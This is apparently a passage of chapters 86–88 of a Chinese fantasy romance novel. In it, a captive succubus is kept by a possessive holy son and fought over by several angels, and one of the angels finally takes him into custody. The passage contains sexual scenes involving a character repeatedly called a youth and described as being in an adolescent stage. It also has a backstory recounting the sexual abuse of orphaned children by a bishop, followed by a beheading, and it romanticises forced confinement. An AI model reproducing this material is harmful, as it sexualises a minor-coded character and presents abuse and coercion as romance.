楚青琅气都没来得及生出来,徒劳的仰头隐忍阖眼。 比车上更加难以忍受的感觉,温热的水流,馥郁的香气,仿佛蚁虫于皮肉下啃噬,让他骨肉酥软。 手臂只能狼狈的搭在浴缸边缘。 随即修长白皙的手被禁锢于头顶,翻腾不休的水面溅起阵阵水花。 啪嗒,花瓣落下,水流成线浇湿地板。 不对劲。 楚青琅无力的趴在约书亚的肩头。 努力想要拉回自己的理智,却轻易被打散。 伤口被重新撕裂,鲜红血液染红唇齿,他的脊骨颤抖着。 视野混沌,瞳孔不自觉的放大。 约书亚的声音仍在响起,因为含着他的尾巴嗓音模糊。 “我从小在教会长大,里面有很多同伴,他们和我不一样,那是各地收拢而来的孤儿。我和父亲最为敬佩的便是当时的主教。” “主教对我也很好,我猜可能因为父亲的原因,毕竟我父亲有权力将他罢免。他不常见我,多是让我代他去聆听信众的忏悔。” “忏悔室会有很多人过来祈求原谅,杀人,强/間,抢劫。嫉妒,恨,愤怒。” 他于那种环境浸泡长大,但是听的越多看的越多,他的面容就愈发圣洁,湛蓝的瞳孔也就越发澄澈。 谁家正经教会要小孩子去听忏悔并给予开导啊? 楚青琅隐约摸到了约书亚根歪的原因。 但是为什么要在这时候说这些? 楚青琅直觉不太对。 他张了张嘴,手却被约书亚带着揉捏着自己的尾巴。 电流在身躯激荡,将他的话变成一声声喘。 柔韧的湿热的舌顺着指缝剐蹭。 约书亚着迷的望着他失神的表情。 他说: “孤儿中被选作圣子的孩子,长得都很好看。他们在主教身下的时候,那望过来带着恨意的眼珠,就像是被打碎的宝石一样。” “神明的塑像就在他们身后。后来,我有试过躺在那神台上。阳光穿透花窗玻璃,很漂亮。明明之前都很惹人喜欢的神圣的,但是当时我看见的时候却只觉得黏腻丑陋。” “这是不对的。我将主教的头颅割下放在神台,问他为何要那样做,他只说是爱。” “狂热的,扭曲的,无法掩盖的,就是爱吗?” “悖逆,龌龊掩盖于光明之下。我抄写神谕的时候,总是在想,爱是怎样的感觉。” “刚开始看见你,我觉得我找到了那种感觉,但是不对。” 约书亚脖颈被顶的突出,他却依然想要吞咽,带着将他拆吃入腹的狠戾。 他四肢如蜘蛛一般全然绞在少年的身上,眼眸澄澈,却如浮冰碎裂。 “爱如荆棘。” “疼痛会引起本能的惧怕。他没有恐惧。他不恐惧和爱人分别,不恐惧爱人冷淡的态度。” “他那不是爱,他只是可怜的,被色/欲蒙蔽心灵的肮脏家伙。” 光芒从他身上晕出,房间的木地板上浮现出层叠法阵。 楚青琅如玩偶一般没了动静。 被打横抱起,水珠顺着垂下的指尖滴落。 落下盈盈浮动的法阵上,漾出道道波纹。 约书亚起身后,身上瞬间变得干燥起来。 发丝被荆棘图案的发带束起,洁白的法袍重新穿上,将那一身痕迹遮掩了个干净。 领子高竖,横亘下颌,标示着圣子的克制和坚守。 并不舒适,但是约书亚早已习惯。 他轻柔的抚摸着楚青琅安宁沉睡的面颊。 还有可爱可怜的角与尾巴。 仿佛内心中有许多东西要从咽喉涌出。 但是约书亚却始终将那喷发而出的东西拦在这幅皮囊下。 没有泄露出分毫。 他只是克制的弯腰在楚青琅的眉心落下吻。 “我会很快回来。” * 身躯仿佛盒子,将意识禁锢。 楚青琅看着约书亚离开的背影,意识体急的想要追上去啃他。 但是只能气冲冲的看他离开。 约书亚说那么多做那么多只是为了让他分神,让他察觉不到法阵的存在。 之前在马车上给约书亚讲的那些东西,看起来他完全没有听进去。 现在约书亚去神殿了,估计骑士长伊文纳德也跟了过去…所以蛊惑骑士长的办法无法实施。 脑海中想起约书亚当时说的话。 楚青琅隐约觉得,那些话并不是随便说的。 约书亚确实感到了恐惧。 所以才设下了这个阵法。 如果是普通的魅魔,很可能不会残留意识,只会一直沉睡下去。 除非被设下法阵的人唤醒。 但是他都说了还会回来,怎么就不能等一等呢? 安静的房间中,只能听见他自己的呼吸声。 楚青琅现在无比的希望去往梦中。 至少在那里他不用像个玩具一样,动也动不了。 他努力平复自己的心情,让自己入梦。 * 神国 在高而深邃的立柱下,原本会不时有着穿着飘逸垂坠长袍的天使走来走去,但是此时只是空空荡荡。 光芒洒下,却刺不穿里面阴凉的氛围。 在最角落,两道身影若隐若现。 “青琅?青琅?” 楚青琅猛地睁开眼,发现自己正勾着伊莱的脖子。 唇部刺痛。 他猛地松开手,捂住了嘴。 “怎么了?又难受了吗?” 伊莱笑着看他,牙齿收起。 漂亮的面孔上,蜜一般琥珀色眼珠,纯净通透。 看起来对少年关心极了。 第87章 第 87 章 神罚。 你别笑了, 现在有点吓人。 楚青琅动了动尾巴。 伊莱顿时神情顿时恍惚了一瞬。 金发披肩,洁白翅膀轻轻合拢。 如果不看两人的姿势,站在他面前的,便只是一位纯洁神圣的天使。 楚青琅太阳穴抽痛。 身躯带着使用过度的敏感, 使得他有些忍受不住。 他努力回忆上一次入梦时到底发生了什么事情。 却只想起了昏天黑地的绞缠。 翅膀和尾巴, 熔金般肆意流淌的血液。 胃部被逐渐充实。 还有无处不在的粘稠视线, 终于, 在伊莱再一次的靠近时,楚青琅想起了来了。 之前他和赫普斯去了精灵的地方, 然后被伊莱发现,彻底发疯…… 赫普斯中间过来找过,却被赶出去了。 到了现在,伊莱已经和他厮混很久。 导致他一个魅魔都承受不住失去了意识。 才回到了约书亚的面前,遭受了一番被迫喂食, 还被绑在酒馆。 估计这次醒来,他还要想办法从那里逃出去。 不过现在,伊莱和约书亚也不遑多让。 都没有让他出去的意思。 面庞传来轻柔的抚摸, 过于明净的瞳孔凑到他的眼前, 试图唤回他的神智。 伊莱问:“青琅现在在想什么?” 死亡问题! 楚青琅瞬间回神, 他微微歪了歪头,弯起眼笑着说:“伊莱哥哥, 别的天使呢?” 伊莱轻柔的揉捏着他的耳垂, 下颌,发丝。 “我让他们都出去了,在宫殿里面,会打扰我们。” 楚青琅又问,面容诚挚担忧, “你多久没有出去了?” 他说:“你身为炽天使,总会有事情做的,就像是艾斯维那样,排练圣曲,教导小天使。或者像以诺那样,演练军队,为神明驱逐异端。” 伊莱当然有事情做,他是神座下的晨曦之子,负责倾听传递神谕。 在楚青琅没有过来的时候,他基本上每天都去,祷告或者做日常礼拜。 哪怕只是在阶梯下漫长的等待,依然让他感到安宁。 但是现在不是了。 只要稍微远离一下楚青琅,他就无法集中注意力。 这对于神来说,是不敬的。 因此,他很干脆的不去了。 有什么问题吗? 伊莱微笑着抱着他,“青琅是怎么知道以诺的名的?” 难道除了艾斯维,在他不知道的情况下,以诺克也来找过? 楚青琅感受到他故意的收紧,抿唇,却还是溢出了声音。 深红指甲深入肩膀,神圣血液滚滚落下。 楚青琅摇了摇头,“没,是听艾斯维说的,别动了,唔。” 伊莱翅膀微动,将他抱起朝着宫殿内飞去,“那我们回去。” 可以想象,只要回去了,接下来直到楚青琅再次失去意识,就依然是在床/上度过。 那种能够让神智彻底融化的欢/愉,不止让魅魔,更让从未感受过这种滋味的天使,食髓知味。 楚青琅祈祷着,赶紧来天使解救一下他。 天使之间的关系不是很好的吗? 伊莱这么明显的异样,怎么没有天使管? 现在要拖延一下时间。 楚青琅看见不远处的花园,他趴在伊莱的肩膀上,拽了下他的翅膀,“不要,我要看花。” 伊莱犹豫了一会儿,还是点了下头,改变方向后直接落在了花园中。 翅膀收拢,他挥手变出桌椅。 白色的蕾丝软布,上面有着浅淡的各种花卉的纹路,茶具用水晶琉璃制作,可以看见里面金色的液体。 椅子上贴心的带着软包,楚青琅被放下后,紧绷的神情不禁放松下来。 天使蹲在他的脚边,将头放在了他的膝盖上。 发丝缠绕在他的腰腹,翅膀尾部柔软的搭在地上。 “青琅,外面很危险,不要出去了好不好?”伊莱说:“如果被神发现了,你会受到惩罚的。” 楚青琅轻轻抚摸着他的发丝,“所以伊莱你就更要正常的去神座下,这样才能不表露出来异样,不是吗?” 尾巴缠绕在天使的脖颈,尖端戳刺着他的唇,然后如愿以偿的被含了进去。 伊莱却只是沉默。 正在楚青琅想要接着为他做思想工作的时候,不知怎的,一道声音响彻宫殿。 “伊莱——我知道你在里面!” 是艾斯维的声音! 楚青琅惊喜的抬头,却被咬了一下尾巴尖。 他弓了下身子,嗓音湿漉漉的,“别动,艾斯维在外面,你快去。” 艾斯维接着喊:“以诺和我在一起!该到讨论圣典的时候了,你快打开门,让我们进去!” 声音嘹亮,不愧是唱圣歌的。 楚青琅将脸埋进伊莱的发间,克制不住的弯了下唇。 伊莱温柔道:“那青琅乖乖的在这里等着好吗?” 楚青琅连连点头。 终于,在最后吮了一下后,伊莱放开了他可怜的尾巴,只残留了一层薄膜似的温热感。 楚青琅又不能使劲揉搓,只能任由它呆在那里。 伊莱将他拉起,为他穿好纯白色的长袍,摆好了宝石贝壳组成的腰带。 最后握着他的手,挑起他的下巴,主动吻了上去。 舌尖轻触,伊莱很快就退了出去。 少年仿佛没有反应过来,舌/尖依然伸着,殷红一点露出,颤颤巍巍的。 伊莱将一片花枝拿来,揪下花瓣放上,随即,深深的吻了上去。 花香被灼热的温度蒸腾,交缠间被涎水浸湿,尖锐的牙齿撕扯,随后被蠕动的肌肉送进咽喉。 楚青琅被呛了一下,他迷茫的看过去,却只看见伊莱一如既往温柔的双眸。 伊莱说:“乖乖的。” 他又指着一旁的茶具,“以诺自神国边际托别的天使给我送了一些花茶,听说是精灵王送来的,长在王树边的。”他说:“精灵的东西对你没有伤害的,还能让你更加强大。等青琅尝完,我就回来了。” 楚青琅看了一眼桌子上的茶水水果,还有几本图画书。 怎么看怎么像照顾小孩子。 所以他现在在伊莱的心底里,到底是什么样子? 他突然想起来,自己从小孩变成成人根本没用太长的时间。 难道在伊莱的心中他还是那个幼稚的形象? 楚青琅抓住他的手,眼尾洇红,“我不是小孩子,你别这种语气。” 伊莱仿佛不解的眨了下眼,弯腰道:“你当然不是孩子,但是你现在太单薄了,还需要好好养养,才能不受伤害。” 这个孩子已经长大了,在做的时候伊莱就意识到了这个事实。 但是,他现在仍然是少年期。 而少年期的魅魔,更加惹人怜爱。 伊莱忍不住抱了一下,仿佛在掂量他的重量。 心中又想要留下来了。 楚青琅将信将疑的将他推开。 只是担心? 他说:“那你去吧,在你自己的宫殿中还不放心吗?伊莱哥哥,要相信自己。” 少年握紧拳头,微微晃了一下。 稠丽的面容带着被满足后的慵懒,眼睫交错间,瞳孔迷幻陆离。 伊莱后退一步,少年的腰带从手中滑下,发出轻盈的碰撞声。 “好。” * 艾斯维收拢翅膀,落在水晶宫殿顶部。 “伊莱那家伙怎么回事,这段时间一直都神神秘秘的,现在过来还要通报。” 他们同作为父神坐下的炽天使,亲密无间,别说进宫殿了,共同休憩都是常有的事情。 但是现在伊莱不仅很久没有参加他们的集体礼拜,更是连宫殿都反常的紧紧关闭。 接下来会发生什么? 连觐见父神都缺席吗? 艾斯维越想越担心。 但是伊莱又不像以诺克那样面对恶魔大军,也不会受到恶魔的伤害和蛊惑。 所以伊莱到底怎么样了? 以诺克明显知道,但是怎么问他都不说,只是让他进来看看就知道了。 身边的人一直沉默。 艾斯维疑惑的看过去,只见以诺克垂着眉眼,神情冷酷极了。 仿佛察觉到了他的视线,以诺克朝他瞥了一眼。 仿佛极薄的银片镶嵌在眼眸中,让人不敢直视。 怪不得那些小天使都不敢靠近以诺。 艾斯维无奈的抱紧了乐谱。 他又想起了那次有着一面之缘却又消失的天使。 他找了许久,却始终什么都没有发现。 艾斯维不知道他的姓名,也不知道那个天使的真正样貌。 那个天使当时身上的违和他察觉到了,但是艾斯维并不觉得会是恶魔潜入。 毕竟恶魔来到神国,很快就会被光明之力侵蚀,最终消逝在这里。 不知道还能不能再看见他…… 就在艾斯维想的出神的时候,以诺克展开翅膀,朝着前面飞了过去。 伊莱竟然真的像以诺克说的那样出来了! 艾斯维瞬间回神,连忙跟了上去。 只是一进去,他瞬间皱起了眉。 以往伊莱的宫殿是最为璀璨光明的地方,此时却让他感受到了一种强烈的阴冷萎靡。 带着明显的拒绝意味。 这不应该。 艾斯维侧头看去,却发现以诺克面上毫无意外。 他压下心中的疑惑,只是面上的表情变得沉凝起来。 推开门,他们一眼就看见了坐在落地窗前的天使。 伊莱金发耀眼,神情平和安宁,琥珀色的双眸一如既往的明亮。 伊莱说:“你们来了。” 他将手中的茶水推过去,荡起一圈圈的涟漪。 艾斯维站到了高背椅后,绿眸轻颤。 他张口像是想说什么,但是最终只叫了伊莱的名字。 伊莱顺势仰头,柔和的看过去,“怎么了?艾。” 以诺克拉开凳子,坐下,身后的翅膀带着金光,格外威严。 他冷笑道:“你都快被黑暗力量腐蚀完了,还问我们怎么了?” 在艾斯维和以诺克的眼中,伊莱周身分明萦绕着黑雾。 那雾气顺着他的心脏蔓延四肢,几乎将他全身遮蔽。 那神圣纯净的翅膀也发生了异化,在层叠的羽片之间,黑暗之力同样存在。 带着鲜明恶意。 怎么会这样? 对于天使来说,一旦连翅膀都被彻底侵蚀了,拿他就再也无法被净化,只能堕落成为恶魔。 而且这种转化的过程极为痛苦,是硬生生的将灵魂扭曲的痛楚。 艾斯维手中的乐谱掉落,他按着桌子,急切道:“你怎么会沾染到黑暗力量?你去哪里了?为什么不向神祈祷,为什么不去圣池?为什么不见我们?” 说着,艾斯维就要上前拽伊莱,“走,现在去觐见神,祈求宽恕和净化……” 伊莱拿起茶杯阻住他的手,身形后仰,神情带上了淡淡的的不解,“我觉得我现在的情况很好。” 他说:“你不是过来说圣典的事情吗,如果不是的话,可以出去了。” 艾斯维震惊的睁大眼睛,眼底涌现出悲伤来。 “为什么,你一向最为爱神的,你怎么会这样做?” 伊莱放下茶杯,垂眸凝视上面的鸢尾花图案。 秾艳近黑,就像是他的青琅那样,带着蛊惑人心的魅力。 他说:“我对神的爱从未变过。” 只是他现如今找到了更让人想要保护的,爱护的人,哪怕是一个魅魔。 艾斯维的绿眼睛中浮现水光,“哪怕你今后会被从神国驱逐?饱受磨难?” 伊莱依然无动于衷,神情柔软,“是。” 砰的一声后,艾斯维仿佛被他气到了,转身离开了这里。 伊莱终于抬起了眼。 他看着坐在一旁的以诺克,略略皱了下眉。 “你带他来做什么?” 以诺克身上穿着的并不是他们那样的洁白柔韧的长袍,而是轻薄的铠甲披风。 他的面容冷冽完美,眉眼极为深邃,淡银色的瞳孔使得他格外疏离冷淡。 此时望过来,也仿佛伊莱不是和他相亲相爱的同伴,而是一个罪人一般。 他抬手敲了下桌面,一道波纹瞬间席卷整间房屋,将所有可能的窥探还有伊莱自身对于宫殿的感知都尽数截断。 他说:“我来和你说那个恶魔的事情。” 伊莱心中隐有不安,但是最为强大的以诺就坐在他的面前,艾斯维也不知道青琅在他的宫殿中… 他沉默片刻,道:“这个事情我们之前讨论过,我不会将他交给你的。” 以诺克唇角挑起讽刺的笑,“你知道吗?我见过很多同样被黑暗侵蚀心灵的天使,他们的表现和你一样。” 伊莱面上的笑淡了些,“以诺,我很清楚的知道自己在做什么。” 以诺克却只是说:“现在你有两个选择,一是我像神秉告那个恶魔的存在,二是我来监管他,你恢复后,再次把他接过去。” 听见这话,伊莱神情彻底冷淡下来。 “他不能离开我。” 以诺克面上讽刺的神情未变,他掌心处灿金光芒显现,声音冷硬。 “这不是你能决定的。” 天使长的威势显赫,转瞬间属于伊莱的水晶宫殿被夺取大半控制权限。 伊莱脊背后的翅膀猛的伸展开,尾翼如钢铁般锋利。 猩红眼眸具都显露出来,如渊瞳孔凝来满是恶意。 纯白光芒于掌心显现弥散,黑色锁链缠绕而成的魔法书漂浮缓缓浮现。 两人对视,眼中满是杀意。 压抑的气氛使得周围的空气更加稀薄。 落地窗外的天空,却是恒久的光明。 楚青琅已经在这座花园转了好几圈了,却始终没有找到出去的办法。 就连花园一角的铁门上,也挂上了锁。 伊莱最后还是将他禁锢在了这里。 他恹恹的坐在阶梯,揪着一旁生长出来的花。 并未察觉到身后突然浮现出了一道满眼冷意的身影。 艾斯维看着少年。 露出的肩颈上满是红痕,漆黑的翅膀吸取着所有的光忙,血管在上面浮现,带着鳞片的尾巴微微晃动,尾端带着一点艳红。 是魅魔。 黑暗之力源源不断的从少年身上辐射出来。 伊莱就是被他侵蚀的。 以诺说的不错,伊莱现在无法做决定,需要他们这些同伴的帮助。 艾斯维厌恶的在掌心凝出长枪,并没有遮掩脚步。 听见脚步声,楚青琅惊了一瞬。 伊莱回来了? 艾斯维和他的同伴难道没有发现异常吗? 楚青琅调整了一下表情,站起身,转头笑着叫人,“伊莱?” 绿眼睛的天使神情凝重的站在他的面前。 手中握着长枪,浑身炽烈的光明之力让他本能的恐惧。 楚青琅身躯一下子僵硬在原地,瞳孔骤缩。 是艾斯维? 他才想起来现在的他不是那个哑巴天使,对于艾斯维来说,自家同伴的宫殿里面出现了一个恶魔,一定会被立刻斩杀的。 楚青琅的心脏一下子提了起来。 翅膀瞬间伸展开,尾巴立起,他警惕的望了过去。 “你是谁?伊莱呢?” 他现在不能暴露之前和艾斯维出去游玩的身份,到时候,没准会以为他是在故意欺骗他。 原本望着他的艾斯维双眼绿意盎然,带着勃勃的生命力,此时却仿佛被冰雪覆盖,带着无穷的厌恶和杀意。 “神明座下炽天使艾斯维,现在要来取你的性命,恶魔!” 这下子要完蛋了。 伊莱救命啊! 楚青琅转身就要离开,只是还没等他飞出去多久,一股纯粹的光明力量就将他定住。 眼前尽是刺眼光芒,他几乎无法张开双眼。 窒息感瞬间传来。 楚青琅被迫转身,下意识的捂住脖子,却又被那力量摆出了大字型,连着翅膀一齐被定在了半空。 艾斯维的嗓音不刻意活泼的时候,便是丝绸一般的柔滑,格外好听。 但是此时听在楚青琅的耳边,却像是死亡的低吟。 “恶魔!私闯神国、引诱天使、污染神殿。多罪并罚,吾将于此判汝死亡。” 明明是他在天上,但是看着下面发丝飞舞,神情冷漠的天使。 楚青琅却不禁生出一股子恐惧来。 纯白的羽翼下,天使缓缓举起了手中的长枪,锋利的枪尖带着灼目光彩。 “吾神在上。” 随着声音落下,猛地朝他投掷而来。 楚青琅下意识的闭上了眼。 第88章 第 88 章 欲望。 黑发的魅魔仿佛意识到了自己的死亡即将到来。 并未徒劳的反抗。 不过魅魔只是恶魔中最底层的存在, 就算是想要逃命,他也逃不过神枪的追踪。 长枪转瞬即至。 锋利的枪尖就要眼看就要穿透魅魔的胸膛。 却猛地撞上了一道腾起的光晕,被硬生生的阻拦下来。 是伊莱的保护。 艾斯维面容瞬间冷了下来。 在面对以诺克的时候,伊莱竟然还敢分心来保护这个魅魔? 这个魅魔对伊莱影响力如此之大……一定要把他斩杀于此。 艾斯维抬手, 光明之力瞬间链接上神枪, 尖锐寒光刺到的地方缓缓出现裂缝。 那裂缝越来越密集, 直到一声清脆的咔嚓声传来。 保护罩猛地碎裂。 艾斯维眉眼未动, 他指尖轻动,驱使神枪猛的朝前刺去。 一个花环却缓缓的从魅魔胸口浮现。 顷刻间便被枪尖穿透。 枝条断裂, 花瓣四散,掉落在地的瞬间,被纯粹的力量泯灭。 艾斯维怔愣了一瞬。 ——那是,他给那个天使的花环。 楚青琅紧紧的闭着眼,等待着疼痛的到来。 时间一点一点的过去。 面前突然浮现细微的呼吸声。 他疑惑的睁开眼, 却只看见了一双愤怒的绿眼睛。 艾斯维不知何时飞了过来,紧贴着他。 他面上带着隐忍的怒意,和恍惚。 “这个花环你是从那里来的?那个天使呢?是不是已经被你污染了?” 楚青琅意外的眨了下眼, 有些没懂他在说什么, “什么花环?” 艾斯维挥手幻化出一个眼熟的花环, 又很快消失。 楚青琅看的清楚,他心脏一跳。 是先前他装作哑巴, 艾斯维给他的那一个, 但是这个花环被是被伊莱扔掉了吗? 现在艾斯维怎么会突然问这个问题? 楚青琅有些想不通,但是他很快就冷静下来。 不管原因如何,这都是一个好机会。 现在伊莱被艾斯维的同伴绊住了脚步。 而艾斯维既然能给无声无息的进来花园,就一定能给带他离开。 只是,就算是离开这里, 他也要给自己上一层保险。 看起来艾斯维很重视当时的一面之缘。 那么就算是离开这里,他也不会死的太快。 楚青琅唇翘起,伸手轻拍了下艾斯拽着他胳膊的手。 “轻一点,我很痛。”他说:“为什么不能在我的手上?这种花环,在精灵那里随处可见不是吗?” 艾斯维冷冷道:“不一样,那个花环我有留下属于自己的力量,给了那个天使庇护,但是为什么他会出现在你的身上?” 伊莱还真是够小心眼的。 楚青琅慢悠悠的想。 估计在听见艾斯维的声音的时候,就提前想到了艾斯维会来见他的事实。 所以把那个花环留了下来。 一是可以保住他的性命。 二也是让艾斯维亲手将那个花环击碎。 不是,话说回来艾斯维为什么要留下自己的力量? 楚青琅尾巴在身后轻晃,他抬手捂了下脖子,压下了一阵痒意,才含着笑说: “也许,我就是那个天使呢?” 魅魔瞳孔幽深,加上身上的痕迹和眼尾的红,更显的蛊惑人心。 艾斯维却皱眉打断他,并不相信。 “不可能!你是恶魔,而他是一位天使。” 楚青琅收起面上的表情,淡淡的望了过去,“你只见他一面,凭什么觉得我不是他?” 他伸出手,轻轻点在艾斯维的胸口,仰头说:“你只是不敢相信,不是吗?” 温凉的温度顺着长袍烙在皮肤上。 艾斯维看着眼眸漆黑如夜的魅魔,心脏不受控制的跳动着。 翅膀微动,他猛地后退。 本能在不断的向着自己预警。 不可以相信。 艾斯维提醒着自己,面前的恶魔已经侵蚀了伊莱,最会花言巧语。 如果相信,伊莱的现在,就是他的未来。 艾斯维看着楚青琅,掌心中的光芒若隐若现,很明显的陷入到了迷茫动摇中。 楚青琅见状,说:“艾斯,你会带我出去的是吗?” 他仿佛不堪忍受一般,“我不属于这里,但是在伊莱的看管下无法离开。我不是故意想要污染他的,只是我太弱小了,无法控制自己的力量。” “你把我放回人间好不好?或者别的地方。而且我离开,不是对伊莱更好吗?” 所以杀他是最不可取的选择。 他都要主动离开了。 艾斯维沉默着。 就当楚青琅以为说服失败的时候,那双绿眼睛突然凑了过来。 里面的厌恶杀意如云般飘散,重新变得澄澈起来。 不断凝聚的光明之力顺着指缝消失。 艾斯维抬手碰了一下他身上的痕迹,强撑着冷静的面孔,担忧道:“痛吗?我以为是你诱惑了伊莱,没有想到他会这样对你。抱歉,是我误会了。” 很明显,艾斯维并不是很能理解他身上的痕迹代表什么,甚至可能以为他是受到了折磨。 楚青琅差点笑出声。 他挑起艾斯维的下巴,凑近,轻吻了一下。 “不痛,幸好你过来了。” 只是蜻蜓点水。 楚青琅就要起身,却被一下子握住了手腕。 艾斯维拽住他,疑惑的抿了下唇后,低头又亲了上来。 楚青琅感受到浓郁的魔力,下意识的张开了嘴。 天使的舌瑟缩着,被他勾缠过来。 涎水交融,愉悦的闷哼间或传来。 楚青琅满足的感受着身躯渐渐充盈。 握着手腕的手渐渐下移,顺着揽住了腰肢,将魅魔完全禁锢在了怀中。 两人离的过近,模糊间,楚青琅看见那绿眼睛仿佛野兽一般,带着凶烈的侵略性。 舌根刺痛。 只是想要奖励一下,他可不想把自己奖励出去。 楚青琅唔唔了几声,沉迷于他唇舌的天使才反应过来,迟钝的松开了嘴。 艾斯维面上带着红,“抱歉,我叫你什么?” 楚青琅并没有计较这件事,只是连忙转身,扒开腰间的手,“叫我青琅就可以,跟你一齐来的人能够挡住伊莱吗?我们快走吧。” 艾斯维站在原地,重复了几遍他的名字,面上缓缓露出了灿烂的笑来。 他说:“没关系的,就算他一个人阻挡不了,还有我呢。” 这话说的颇有信心,但是他却怎么也不肯挪动一下脚步。 就在楚青琅忍不住挑起眉,思索他是不是反悔的时候。 不远处传来一道金属碰撞声。 无形波纹随着巨大的力量朝着两人直冲而来。 艾斯维上前一步,用翅膀环着他,挡下了所有的攻击。 黑暗在此处拉长,天使身上依然带着一股花香气,萦绕在鼻端。 楚青琅有些不适的将脸望天使的怀中蹭了下。 “艾斯维,你要是敢动青琅我一定杀了你。” 不知何时过来的伊莱的声音褪去温柔,变得阴冷又笃定。 楚青琅叹了一口气。 得,现在他确实离不开了。 就当他准备出去的时候,又有一道格外冷酷的声音响起。 “艾斯,你没有杀他?” 掌心处的肌肉轻动,楚青琅感受着艾斯维胸腔的震动。 他在笑。 “以诺,我们毕竟是同伴不是吗?既然伊莱这么喜欢这个魅魔,那么为什么一定要杀掉他呢?” “我们可以先把他们分开,伊莱会去圣池净化自己的。” “这样,既不会伤害到我们的同伴,还能够把魅魔的伤害降到最低。” 护在身前的翅膀缓缓收起,楚青琅抬眼望去。 伊莱站在不远处,漂亮的面孔上满是冷意。 仔细看去,他的身上带着不少的伤痕,不过都在缓缓的愈合中。 在他的身旁,是一张从未见过的面孔。 线条冷冽,银色的瞳孔不带丝毫情绪。 楚青琅却感受到了深刻的厌恶。 和艾斯维浮于表面的厌恶不同。 这个人,是那种哪怕受到蛊惑,也会为了自己的理念手刃爱人的天使。 楚青琅心脏遽然跳动,下意识的错开了目光。 艾斯维仿佛感受到了他的害怕,伸手在他的肩膀上轻柔的拍了下。 “以诺,你觉得怎么样?” 以诺克冷冷的注视着那个黑发黑眼的魅魔,只觉得一阵荒谬。 他从未想过只是这么短的时间,这个魅魔就将艾斯维给迷惑住了刚刚艾斯维说的好听,但是实际上话里话外不过是要护住这个魅魔的性命罢了。 以诺说:“你不觉得自己有那里不对劲吗?” 按照原本的计划,是他拦着伊莱,而艾斯维过去杀死那个恶魔。 最后再向神禀告伊莱的举动,请求宽恕。 艾斯维怜惜的摸着楚青琅泛红的眼尾。 他忽视一旁生气让他放开手的伊莱,迷惑的看着以诺说:“没有吧?如果你不放心的话,我可以让青琅进你的宫殿。” 他说:“以诺你不会那么容易被侵蚀的,只要伊莱恢复了正常,我们就算是留下青琅也没有什么问题吧?到时候我们去你宫殿去看青琅,你也能更好的监督不是吗?” 天使一副为着自己同伴着想的模样。 伊莱在一旁忍着没有向他甩出攻击。 他望着楚青琅,语气轻柔。 “别害怕,有我在,他们不会伤害你的。” 楚青琅的眼尾被擦拭的愈发殷红。 他却只是饶有兴趣的看着沉默的以诺克。 伊莱的面容冷了一瞬。 他无法忍受魅魔的视线不在他的身上。 但是就像是艾斯维说的那样,让青琅去以诺那边已经是最好的选择了。 以诺克为了维持神国的秩序,向来是对邪恶赶尽杀绝的。 如果他一定要留下青琅,神一定会知道。 到时候青琅就危险了。 …… 感受着两边传来的刺骨的视线。 以诺闭了闭眼,最终还是没有忍住嗤笑了一声。 “魅魔——” 他扫视着几人,最终将视线钉在楚青琅的身上。 神苏醒的日子就在最近了。 到时候,伊莱和艾斯维,一齐向神请罪去吧。 冰冷刺骨的嗓音落下。 楚青琅反应过来,歪着脑袋看了他一眼,说:“你叫以诺克?” 以诺克目光锁定他,淡银色眼瞳泛起金光。 “不可直视吾。” 楚青琅只觉得双目刺痛,他抬手捂住眼睛,闷哼了一声。 伊莱上前一步,捧着他的面庞将吻印在了他的眉心。 瞬间将他的不适驱散了开来。 一边的艾斯维掌心浮现长枪,翅膀微展,对着以诺克说:“别这个样子,以诺。” 以诺克将视线从楚青琅身上收回,看着两人说:“都给我滚去圣池净化!不然我现在就把他送到神前。” 虽然他话说的不留情,但是艾斯维还是明白他同意了。 艾斯维伸手将伊莱推开,担忧道:“你被侵蚀的很严重了,离青琅远一点,我会保护好他的。” 伊莱手中的魔法书迸射出一道黑光,隐忍许久的攻击还是放了出去。 突如其来的攻击直接穿透了艾斯维的肩膀。 金色的血液顺着指尖滴落。 伊莱笑的柔和,带着挡不住的冷意。 “艾,他是我的爱人。” 艾斯维对青琅过于亲密的动作已经完全让这个天使处在了岌岌可危的状态。 楚青琅瞧见伊莱在身后凝出锁链,蓄势待发。 艾斯维却好似什么都没有察觉到一般,眨了下眼。 绿眼睛依然纯净,“但是他是恶魔。” 伊莱一字一句道:“天使和恶魔,多相配的词语。” 他向着楚青琅看去,眼眸柔和。 艾斯维听见这话,一副若有所思的模样,手中的长枪却没有消失。 “伊莱是想要和我打架吗?可以噢,但是…” 趁着两人开打的时机,楚青琅左右看了看,还是抬脚朝着那个叫以诺克的天使走去了。 留下来,被伊莱在床/上折腾。 还是出去,在保证性命的前提下,获得安宁。 只需要应付应付艾斯维时不时的骚扰和以诺的冷面。 楚青琅觉得,这不需要犹豫。 …… 相比起伊莱的水晶宫殿,艾斯维的鲜花满殿。 以诺克的住处完全符合他本人在外的形象,格外冷硬严肃。 带着莫大的光明威势。 楚青琅被以诺克扔下,踉跄一步才稳住了脚步。 他转身,身形高大的天使翅膀泛着黄金般的色泽,流光溢彩。 以诺克挥手,周围的屋子上顿时浮现出密密麻麻的纹路,牢牢的将楚青琅所在的宫殿区域给包裹起来。 “禁止和别的天使有任何接触,禁止使用魔力。未经吾的允许,禁止见伊莱和艾斯维。” 以诺克声音冷酷,嗓音华美。 “不然你不会想要知道自己的下场,我不像他们那样,会受你的蛊惑。” 楚青琅伸手拦住要走的以诺克,狭长的双眼微眯。 眼尾的红仿佛活过来一般,摄人心魄。 “你好像很恨我?但是这不是我的错啊,你之前弄的我很痛。” 以诺克神情冷漠的看着他,“在这里呆着。” 楚青琅皱了下鼻子,他靠近了一步,看着面前仿佛一堵塑像一般无动于衷的天使。 “你会把我送给神吗?” 他这样说着,伸手握住了天使的手,缓缓褪去了上面的薄薄的手套。 不知是什么皮子做的,又薄又韧。 摸上去,带着被皮肉浸透的凉意。 以诺克并未挣扎,对他来说,魅魔不过是可以随便捏死的存在。 他想要看看这个魅魔凭什么能够在短短的时间内,就迷惑了艾斯维。 难道只凭借他那张俊美面孔? 但是天使的面容,也不比魅魔的差。 指尖传来闷痛。 以诺克垂眼,看见一张略略张开的唇,洁白森冷的尖牙深入皮肉,金色的鲜血渗出。 那双层叠繁复的瞳孔蕴着邪气,一眨不眨的凝着他。 含糊的,尾音带笑。 “没关系,我原谅你了。” “粗暴的对待,不友好的言论,还有,口是心非?” 以诺克眼眸骤然一缩,猛的收回了手。 随后羽翼于背后展开,转身飞离了此地,徒留地上掉落的一只薄手套。 楚青琅舔舐了一下唇,刚刚他不过是单纯的想要报复一下而已。 